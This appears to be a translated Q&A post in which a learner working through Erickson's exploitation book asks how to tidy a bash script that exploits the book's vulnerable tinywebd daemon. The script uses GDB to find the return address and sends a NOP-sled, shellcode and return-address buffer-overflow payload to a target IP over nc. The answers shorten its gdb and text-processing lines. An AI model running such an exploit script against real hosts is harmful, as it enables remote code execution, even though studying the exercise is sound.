这个bash脚本可以更简洁吗?

时间:2012-08-22 17:48:29

标签: security bash shell gdb

要点:这个脚本可以更清洁,更简洁吗?

所以我正在通过Erickson的开发技术工作,他开始研究一种自动化工具,以便更快地利用他的tinywebserver守护进程。

但是,在Ubuntu 10.04上,每次重新启动守护程序时,返回地址都会更改。我调整了脚本以自动从GDB获取返回地址。我以前从未做过任何脚本,下面的脚本可以工作,但我想知道它是否更清晰,尤其是GDB系列。

基本上,我启动守护进程,然后获取pid。然后我自动运行GDB以获得正确的返回地址。这会保存到日志文件中。

我使用cut来获取返回地址,sed将其放置,并使用awk为shellcode正确格式化。

其他一切都来自这本书。

关于gdb行和cut / sed / awk行的任何反馈?

感谢您的任何建议。

#!/bin/sh
# a tool for exploiting tinywebd

if [ -z "$2" ]; then  # if argument 2 is blank
   echo "Usage: $0 <shellcode file> <target IP>"
   exit
fi 

./tinywebd
pid=$(pidof tinywebd)

OFFSET=524  # changed to work on eve

#RETADDR="\xe4\x9a\xd2\xbf" # 
sudo gdb -q -pid=$pid --symbols=./tinywebd --batch -ex "break 86" 
--batch -ex "c"--batch -ex "set logging on gdblog" --batch -ex "x/x request+100"
--batch -ex "set logging off" --batch -ex "quit"

RETADDR=$(cut -d: -f1 gdblog | sed 's/\(.\{2\}\)/\1 /g' | 
awk '{ print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}')
rm -f gdblog

echo "target IP: $2"
SIZE=`wc -c $1 | cut -f1 -d ' '`
echo "shellcode: $1 ($SIZE bytes)"
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE))

echo "[NOP ($ALIGNED_SLED_SIZE bytes)] [shellcode ($SIZE bytes)] [ret addr ($((4*32)) 
bytes)]"
( perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";
 cat $1;
 perl -e "print \"$RETADDR\"x32 . \"\r\n\"";) | nc -w 1 -v $2 80

2 个答案:

答案 0 :(得分:1)

cut -d: -f1 gdblog | sed 's/\(.\{2\}\)/\1 /g' | awk '{ print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}'

似乎相当于perl one-liner:

perl -ple '$_=join"",map"\\x$_",(/(..)/g)[4,3,2,1]' gdblog

答案 1 :(得分:1)

可以缩短gdb行:

sudo gdb -batch -ex "break 86" -ex c -ex "set logging on gdblog" -ex "x/x request+100" -ex quit ./tinywebd $pid
  • -batch暗示-q并且只需要一次
  • &#34;设置注销&#34;最后是没有必要的
  • 可以在没有选项的情况下指定可执行文件和PID

如果你的awk支持FIELDWIDTHS变量,我们可以很容易地做到没有cut和sed:

RETADDR=$(awk -v FIELDWIDTHS="2 2 2 2 2" '{print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}' gdblog) 

或者,即使它没有:

RETADDR=$(awk '{gsub("..", "& "); print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}' gdblog)